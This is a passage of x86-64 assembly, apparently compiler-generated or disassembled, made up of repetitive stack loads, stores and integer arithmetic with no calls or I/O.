mov rcx, qword [rsp + 0x9740]
mov word [rcx], ax
lea rax, [rsp + 0xbd]
mov qword [rsp + 0xa840], rax
mov rax, qword [rsp + 0xa228]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa038]
mov qword [rsp + 0xa848], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa848]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9168]
mov qword [rcx], rax
lea rax, [rsp + 0x90b8]
mov qword [rsp + 0xa850], rax
mov eax, dword [rsp + 0x4ffc]
mov ecx, dword [rsp + 0x4e30]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9840]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4e8c]
mov ecx, dword [rsp + 0x5068]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f34], eax
movsx eax, word [rsp + 0x1154]
movsx ecx, word [rsp + 0x12a4]
sub eax, ecx
mov rcx, qword [0x1401e8aa0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa068]
movzx eax, byte [rax]
mov byte [rsp + 0x13b], al
movzx eax, byte [0x1401e7056]
movzx ecx, byte [rsp + 0xea]
and eax, ecx
mov byte [rsp + 0x10c], al
movzx eax, byte [rsp + 0x86]
mov byte [rsp + 0x13c], al
movzx eax, word [rsp + 0x1294]
movzx ecx, word [rsp + 0x1038]
sub eax, ecx
mov word [rsp + 0x11a0], ax
mov rax, qword [rsp + 0x92f0]
mov ecx, dword [rsp + 0x4ccc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e64], eax
mov eax, dword [rsp + 0x4fd8]
mov dword [rsp + 0x50d8], eax
mov rax, qword [rsp + 0xa4d0]
mov rcx, qword [rsp + 0xa4a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9078]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9ac0]
mov qword [rsp + 0xa858], rax
lea rax, [rsp + 0x8f]
mov qword [0x1401e8b28], rax
mov rax, qword [rsp + 0x8df0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9460]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0x9de0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa1f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1138], ax
lea rax, [rsp + 0x11e8]
mov qword [rsp + 0xa860], rax
movzx eax, word [rsp + 0x11dc]
movzx ecx, word [rsp + 0x11f8]
add eax, ecx
mov word [rsp + 0x12e0], ax
mov rax, qword [rsp + 0x9c28]
mov qword [rsp + 0xa868], rax
mov rax, qword [rsp + 0x8ee8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa3d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9048], rax
mov rax, qword [rsp + 0xa138]
mov eax, dword [rax]
mov dword [rsp + 0x50dc], eax
mov rax, qword [rsp + 0xa2e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cc4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa5a0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x79]
mov rcx, qword [rsp + 0x8b68]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401e7052], al
movzx eax, byte [rsp + 0x90]
mov rcx, qword [rsp + 0x8f78]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa1b0]
mov byte [rcx], al
lea rax, [0x1401e7042]
mov qword [rsp + 0xa870], rax
mov rax, qword [rsp + 0x9070]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbf]
shl eax, cl
mov rcx, qword [rsp + 0xa0a0]
mov byte [rcx], al
lea rax, [rsp + 0x1278]
mov qword [rsp + 0xa878], rax
mov rax, qword [rsp + 0x9e78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a08]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa740], rax
mov rax, qword [rsp + 0xa1c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5088]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5070], eax
mov eax, dword [rsp + 0x50ac]
mov dword [rsp + 0x50e0], eax
mov rax, qword [rsp + 0xa288]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a60], rax
movsx eax, word [rsp + 0x1078]
movsx ecx, word [rsp + 0x12dc]
add eax, ecx
mov word [0x1401e70d0], ax
movzx eax, byte [rsp + 0x7b]
mov byte [rsp + 0x13d], al
movsx eax, word [rsp + 0x1088]
mov rcx, qword [rsp + 0x9898]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8eb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x92d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11c0]
add eax, ecx
mov rcx, qword [rsp + 0xa6a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9750]
movzx eax, word [rax]
mov word [rsp + 0x12f8], ax
mov rax, qword [rsp + 0xa490]
mov rcx, qword [0x1401e7018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa858], rax
lea rax, [rsp + 0x5028]
mov qword [rsp + 0xa880], rax
mov rax, qword [rsp + 0x93b0]
mov rcx, qword [rsp + 0xa798]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x92f8], rax
mov rax, qword [rsp + 0xa788]
mov rcx, qword [rsp + 0x9000]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x91f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9f08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb2]
add eax, ecx
mov byte [0x1401e7053], al
lea rax, [0x1401e87f3]
mov qword [rsp + 0xa888], rax
movsx eax, byte [rsp + 0x111]
movsx ecx, byte [rsp + 0x137]
shl eax, cl
mov byte [rsp + 0x12f], al
mov rax, qword [rsp + 0x9968]
movzx eax, word [rax]
mov word [rsp + 0x12fc], ax
mov rax, qword [rsp + 0x9090]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1070]
xor eax, ecx
mov word [rsp + 0x12ec], ax
mov rax, qword [rsp + 0x9d58]
mov eax, dword [rax]
mov dword [rsp + 0x50e4], eax
mov rax, qword [rsp + 0x8e30]
mov rcx, qword [rsp + 0x8f30]
mov qword [rsp + 0xa890], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa890]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xa690], rax
mov rax, qword [0x1401e7028]
mov rcx, qword [rsp + 0x9860]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x98c0]
mov eax, dword [rax]
mov dword [rsp + 0x50e8], eax
movzx eax, word [rsp + 0x1204]
mov rcx, qword [rsp + 0xa2d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x126c], ax
lea rax, [rsp + 0xeb]
mov qword [0x1401e8b30], rax
lea rax, [0x1401e7033]
mov qword [rsp + 0xa898], rax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8c88]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x100c], ax
mov rax, qword [rsp + 0x9e80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa2d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x125c], ax
mov eax, dword [rsp + 0x4e58]
mov dword [rsp + 0x50ec], eax
mov rax, qword [rsp + 0x9b98]
mov rcx, qword [rsp + 0x9fd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9200], rax
mov eax, dword [rsp + 0x4f20]
mov dword [rsp + 0x50f0], eax
mov rax, qword [rsp + 0x8e68]
mov rcx, qword [rsp + 0x9e60]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9080]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa078]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x80]
and eax, ecx
mov byte [rsp + 0x98], al
lea rax, [rsp + 0xcf]
mov qword [0x1401e8b38], rax
lea rax, [0x1401e70b0]
mov qword [rsp + 0xa8a0], rax
movzx eax, word [rsp + 0x1204]
mov rcx, qword [rsp + 0xa580]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x124c], ax
movzx eax, byte [rsp + 0x123]
mov byte [rsp + 0x13e], al
mov rax, qword [rsp + 0x9e70]
mov rcx, qword [rsp + 0x9da0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa6d8], rax
mov rax, qword [rsp + 0x9f70]
mov eax, dword [rax]
mov dword [rsp + 0x50f4], eax
mov rax, qword [rsp + 0x9408]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5044]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50a8], eax
mov rax, qword [rsp + 0xa2f0]
mov rcx, qword [rsp + 0x9e78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9e00]
mov qword [rcx], rax
movzx eax, word [rsp + 0x10c8]
mov word [rsp + 0x1300], ax
mov rax, qword [rsp + 0x92b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ff8]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401e70ac], ax
movzx eax, byte [0x1401e7022]
movzx ecx, byte [rsp + 0xcd]
sar eax, cl
mov byte [rsp + 0x124], al
lea rax, [rsp + 0x10cc]
mov qword [rsp + 0xa8a8], rax
movsx eax, byte [rsp + 0x99]
mov rcx, qword [rsp + 0xa888]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x12a], al
mov rax, qword [rsp + 0x8e28]
mov rcx, qword [rsp + 0x9d00]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9140]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9b20]
mov qword [rsp + 0xa8b0], rax
mov rax, qword [rsp + 0x9818]
mov rcx, qword [rsp + 0xa7f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4ff0], eax
lea rax, [0x1401e7018]
mov qword [rsp + 0xa8b8], rax
mov rax, qword [rsp + 0x9fa8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x122]
add eax, ecx
mov rcx, qword [rsp + 0x9770]
mov byte [rcx], al
movzx eax, byte [rsp + 0xbb]
movzx ecx, byte [rsp + 0x127]
add eax, ecx
mov rcx, qword [0x1401e8938]
mov byte [rcx], al
movsx eax, word [rsp + 0x1044]
movsx ecx, word [rsp + 0x1218]
sub eax, ecx
mov word [rsp + 0x12c4], ax
mov rax, qword [rsp + 0x9d98]
movzx eax, byte [rax]
mov byte [rsp + 0x13f], al
mov rax, qword [rsp + 0x94e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9388]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1278], ax
mov rax, qword [rsp + 0xa1a0]
movzx eax, word [rax]
mov word [rsp + 0x1304], ax
mov rax, qword [rsp + 0x9118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5020], eax
mov rax, qword [rsp + 0x9680]
mov rcx, qword [rsp + 0xa028]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa750]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f08]
mov eax, dword [rax]
mov dword [rsp + 0x50f8], eax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x9048]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9be0], rax
movzx eax, byte [rsp + 0x131]
mov byte [0x1401e87f4], al
lea rax, [rsp + 0xa7]
mov qword [rsp + 0xa8c0], rax
mov rax, qword [rsp + 0x9350]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9590]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1138], ax
movzx eax, byte [rsp + 0x116]
mov byte [rsp + 0x140], al
movsx eax, word [rsp + 0x110c]
mov rcx, qword [0x1401e8a48]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1144], ax
mov rax, qword [rsp + 0xa138]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8cf8]
mov qword [rsp + 0xa8c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa8c8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9710]
mov dword [rcx], eax
lea rax, [rsp + 0x4fd8]
mov qword [rsp + 0xa8d0], rax
mov rax, qword [rsp + 0xa058]
movzx ecx, al
mov rax, qword [0x1401e7018]
shr rax, cl
mov rcx, qword [rsp + 0xa670]
mov qword [rcx], rax
lea rax, [rsp + 0xa348]
mov qword [rsp + 0xa8d8], rax
lea rax, [rsp + 0x118]
mov qword [0x1401e8b40], rax
movsx eax, byte [rsp + 0x12c]
movsx ecx, byte [0x1401e87a6]
or eax, ecx
mov byte [rsp + 0xcb], al
mov rax, qword [rsp + 0x91b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9870]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1158], ax
movzx eax, word [rsp + 0x11f8]
mov word [rsp + 0x1308], ax
movzx eax, byte [rsp + 0x104]
movzx ecx, byte [0x1401e87e6]
and eax, ecx
mov byte [rsp + 0x103], al
mov rax, qword [rsp + 0xa700]
mov qword [rsp + 0xa8e0], rax
mov rax, qword [rsp + 0xa498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d38], rax
mov rax, qword [rsp + 0xa790]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50b8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b48]
mov dword [rcx], eax
lea rax, [rsp + 0x5034]
mov qword [rsp + 0xa8e8], rax
movsx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0x8e00]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8a20]
mov byte [rcx], al
mov rax, qword [rsp + 0x9240]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9df8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12ec], ax
movzx eax, byte [rsp + 0xf4]
mov byte [rsp + 0x141], al
mov rax, qword [rsp + 0xa658]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9038]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1004], ax
mov rax, qword [rsp + 0xa230]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12c4]
add eax, ecx
mov word [rsp + 0x11e8], ax
lea rax, [rsp + 0x8f70]
mov qword [rsp + 0xa8f0], rax
mov rax, qword [rsp + 0xa620]
mov rcx, qword [rsp + 0xa278]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9da8], rax
lea rax, [0x1401e7008]
mov qword [rsp + 0xa8f8], rax
mov eax, dword [rsp + 0x5064]
mov ecx, dword [rsp + 0x4fd4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9bb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9d20]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401e7038], ax
movzx eax, byte [rsp + 0x10b]
mov byte [rsp + 0x142], al
movsx eax, word [rsp + 0x1008]
movsx ecx, word [rsp + 0x1050]
or eax, ecx
mov word [rsp + 0x1044], ax
mov rax, qword [rsp + 0xa7d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9b88]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8d48]
mov byte [rcx], al
mov rax, qword [rsp + 0xa140]
movzx eax, word [rax]
mov word [rsp + 0x130c], ax
mov eax, dword [rsp + 0x4fe4]
mov ecx, dword [rsp + 0x4f00]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fc8], eax
mov rax, qword [rsp + 0xa388]
mov rax, qword [rax]
mov qword [rsp + 0xa900], rax
mov rax, qword [rsp + 0xa1d8]
mov rcx, qword [rsp + 0x9598]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa8f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa718]
mov rcx, qword [rsp + 0x91a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9380]
mov qword [rcx], rax
mov rax, qword [rsp + 0x90e8]
movsx eax, word [rax]
movsx ecx, word [0x1401e7088]
add eax, ecx
mov word [0x1401e70d4], ax
mov rax, qword [rsp + 0xa8c0]
movzx eax, byte [rax]
mov byte [rsp + 0x143], al
mov rax, qword [rsp + 0x9bf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa598]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x95c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c58]
movzx eax, word [rax]
mov word [rsp + 0x1310], ax
movzx eax, byte [rsp + 0x85]
mov rcx, qword [rsp + 0x9868]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x95b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa510]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x94f0]
mov qword [rcx], rax
lea rax, [0x1401e7018]
mov qword [rsp + 0xa908], rax
mov rax, qword [rsp + 0xa088]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50f4], eax
mov eax, dword [rsp + 0x4f00]
mov dword [rsp + 0x50fc], eax
mov rax, qword [rsp + 0x9b80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
add eax, ecx
mov byte [0x1401e8796], al
movzx eax, byte [rsp + 0xc0]
mov rcx, qword [rsp + 0x95c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x74], al
mov rax, qword [rsp + 0x99d8]
movzx eax, word [rax]
mov word [rsp + 0x1314], ax
movzx eax, word [rsp + 0x1160]
mov rcx, qword [0x1401e8918]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x12ac], ax
mov rax, qword [rsp + 0xa8c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe8]
shl eax, cl
mov byte [rsp + 0xd4], al
mov rax, qword [rsp + 0xa448]
mov eax, dword [rax]
mov dword [rsp + 0x5100], eax
mov rax, qword [rsp + 0x93f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa228]
mov qword [rsp + 0xa910], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa910]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9358], rax
mov rax, qword [rsp + 0x9650]
mov eax, dword [rax]
mov dword [rsp + 0x5104], eax
mov rax, qword [rsp + 0x9af0]
mov rcx, qword [rsp + 0x9d38]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x94b8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x128]
mov rcx, qword [rsp + 0x9d98]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401e706b], al
mov rax, qword [rsp + 0x93b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10c]
add eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov byte [rcx], al
movzx eax, word [rsp + 0x12a4]
mov word [rsp + 0x1318], ax
movzx eax, word [0x1401e7094]
mov rcx, qword [rsp + 0xa658]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1060], ax
movzx eax, word [rsp + 0x1040]
mov word [rsp + 0x131c], ax
mov rax, qword [rsp + 0xa088]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x50bc], eax
mov rax, qword [rsp + 0x9ba8]
mov rcx, qword [rsp + 0x9ac0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa5b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa328]
mov qword [rsp + 0xa918], rax
mov rax, qword [rsp + 0x95c0]
mov rcx, qword [rsp + 0xa788]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9c18]
mov dword [rcx], eax
mov rax, qword [0x1401e8948]
movzx eax, word [rax]
mov word [rsp + 0x1320], ax
lea rax, [rsp + 0xb6]
mov qword [0x1401e8b48], rax
mov rax, qword [rsp + 0x9df0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x88]
sub eax, ecx
mov byte [rsp + 0x104], al
movsx eax, word [rsp + 0x1070]
mov rcx, qword [0x1401e8840]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa418]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe4]
mov byte [rsp + 0x144], al
mov rax, qword [rsp + 0x9a78]
mov rcx, qword [rsp + 0x93e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9db0]
mov qword [rcx], rax
mov eax, dword [section..data]
mov dword [rsp + 0x5108], eax
mov rax, qword [rsp + 0x9200]
mov rcx, qword [rsp + 0x9a60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9210], rax
lea rax, [rsp + 0x50f0]
mov qword [rsp + 0xa920], rax
movsx eax, word [rsp + 0x1078]
mov rcx, qword [rsp + 0xa5e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12a0], ax
movzx eax, word [rsp + 0x1278]
mov rcx, qword [rsp + 0x9ed0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8970]
mov word [rcx], ax
movzx eax, byte [rsp + 0x10d]
mov rcx, qword [rsp + 0x9ef0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xa2], al
movzx eax, word [rsp + 0x131c]
mov word [rsp + 0x1324], ax
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e]
xor eax, ecx
mov byte [rsp + 0x8a], al
mov eax, dword [rsp + 0x4f6c]
mov dword [rsp + 0x510c], eax
mov rax, qword [rsp + 0x9ad8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa850]
mov qword [rsp + 0xa928], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa928]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9e60], rax
mov rax, qword [rsp + 0x9d08]
mov rcx, qword [rsp + 0x8b78]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa538]
mov dword [rcx], eax
lea rax, [rsp + 0x9790]
mov qword [rsp + 0xa930], rax
movzx eax, word [rsp + 0x1158]
mov rcx, qword [rsp + 0x9110]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9d88]
mov word [rcx], ax
movzx eax, byte [rsp + 0xbf]
mov rcx, qword [rsp + 0x95d8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e8900]
mov byte [rcx], al
movzx eax, word [rsp + 0x11b8]
mov word [rsp + 0x1328], ax
movsx eax, word [0x1401e7068]
movsx ecx, word [rsp + 0x12c8]
add eax, ecx
mov rcx, qword [rsp + 0xa4b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa6c8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x111], al
mov eax, dword [rsp + 0x4e00]
mov dword [rsp + 0x5110], eax
mov rax, qword [rsp + 0x9948]
mov rcx, qword [0x1401e7010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4b8], rax
mov eax, dword [rsp + 0x504c]
mov dword [rsp + 0x5114], eax
mov rax, qword [rsp + 0x9e88]
mov rcx, qword [rsp + 0x91a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9790], rax
lea rax, [rsp + 0xa5]
mov qword [rsp + 0xa938], rax
lea rax, [rsp + 0x12a0]
mov qword [0x1401e8b50], rax
mov rax, qword [rsp + 0x9110]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa5e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa060]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f10]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa608]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc4], al
mov rax, qword [rsp + 0x91a0]
movzx eax, byte [rax]
mov byte [rsp + 0x145], al
mov rax, qword [rsp + 0x9b88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa7]
add eax, ecx
mov rcx, qword [rsp + 0xa078]
mov byte [rcx], al
lea rax, [rsp + 0x50e8]
mov qword [rsp + 0xa940], rax
mov eax, dword [rsp + 0x4fa4]
mov ecx, dword [rsp + 0x4fac]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4eb0], eax
mov rax, qword [rsp + 0x9fc8]
mov rcx, qword [rsp + 0x8df8]
mov qword [rsp + 0xa948], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa948]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9048], rax
lea rax, [0x1401e7018]
mov qword [rsp + 0xa950], rax
mov rax, qword [rsp + 0x91c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa150]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401e706e], al
mov rax, qword [rsp + 0x9a28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12c0]
or eax, ecx
mov word [rsp + 0x1310], ax
lea rax, [rsp + 0x1198]
mov qword [rsp + 0xa958], rax
mov rax, qword [rsp + 0x9868]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9270]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa698]
mov byte [rcx], al
mov rax, qword [rsp + 0x8fa0]
movzx eax, word [rax]
movzx ecx, word [0x1401e89f8]
add eax, ecx
mov word [rsp + 0x1054], ax
mov rax, qword [rsp + 0x9b68]
mov eax, dword [rax]
mov dword [rsp + 0x5118], eax
mov rax, qword [rsp + 0x9ec8]
mov rcx, qword [rsp + 0x94a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x95b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b48]
mov eax, dword [rax]
mov dword [rsp + 0x511c], eax
mov rax, qword [rsp + 0x9080]
mov rax, qword [rax]
mov rcx, qword [0x1401e7028]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa5f8], rax
movsx eax, byte [rsp + 0x11a]
movsx ecx, byte [rsp + 0x125]
sub eax, ecx
mov rcx, qword [0x1401e8b28]
mov byte [rcx], al
movzx eax, word [rsp + 0x1184]
movzx ecx, word [0x1401e70bc]
and eax, ecx
mov word [rsp + 0x1274], ax
lea rax, [rsp + 0xab]
mov qword [rsp + 0xa960], rax
movsx eax, byte [rsp + 0x12e]
mov rcx, qword [rsp + 0x99e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe0], al
movzx eax, word [rsp + 0x12e8]
mov word [rsp + 0x132c], ax
mov rax, qword [rsp + 0x9378]
mov ecx, dword [rsp + 0x5058]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4cc4], eax
lea rax, [rsp + 0x9428]
mov qword [rsp + 0xa968], rax
mov rax, qword [rsp + 0x9988]
mov rcx, qword [rsp + 0x9140]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9970]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9e38]
mov rcx, qword [rsp + 0xa4d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x98b0], rax
movzx eax, byte [rsp + 0x117]
mov byte [0x1401e87f5], al
lea rax, [rsp + 0x9a]
mov qword [rsp + 0xa970], rax
movsx eax, word [0x1401e70ac]
movsx ecx, word [rsp + 0x10e8]
shl eax, cl
mov word [rsp + 0x12a4], ax
movzx eax, word [rsp + 0x126c]
mov word [rsp + 0x1330], ax
movsx eax, word [rsp + 0x11a4]
mov rcx, qword [rsp + 0x9718]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x104c], ax
mov rax, qword [rsp + 0xa3c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa3f0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8e68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9810]
mov eax, dword [rax]
mov dword [rsp + 0x5120], eax
mov rax, qword [rsp + 0xa308]
mov rcx, qword [rsp + 0x8fc0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa5c8]
mov qword [rcx], rax
lea rax, [0x1401e7008]
mov qword [rsp + 0xa978], rax
mov rax, qword [rsp + 0x9518]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa6f8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401e8af8]
mov byte [rcx], al
mov rax, qword [rsp + 0x95a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ae8]
movsx ecx, word [rcx]
sub eax, ecx
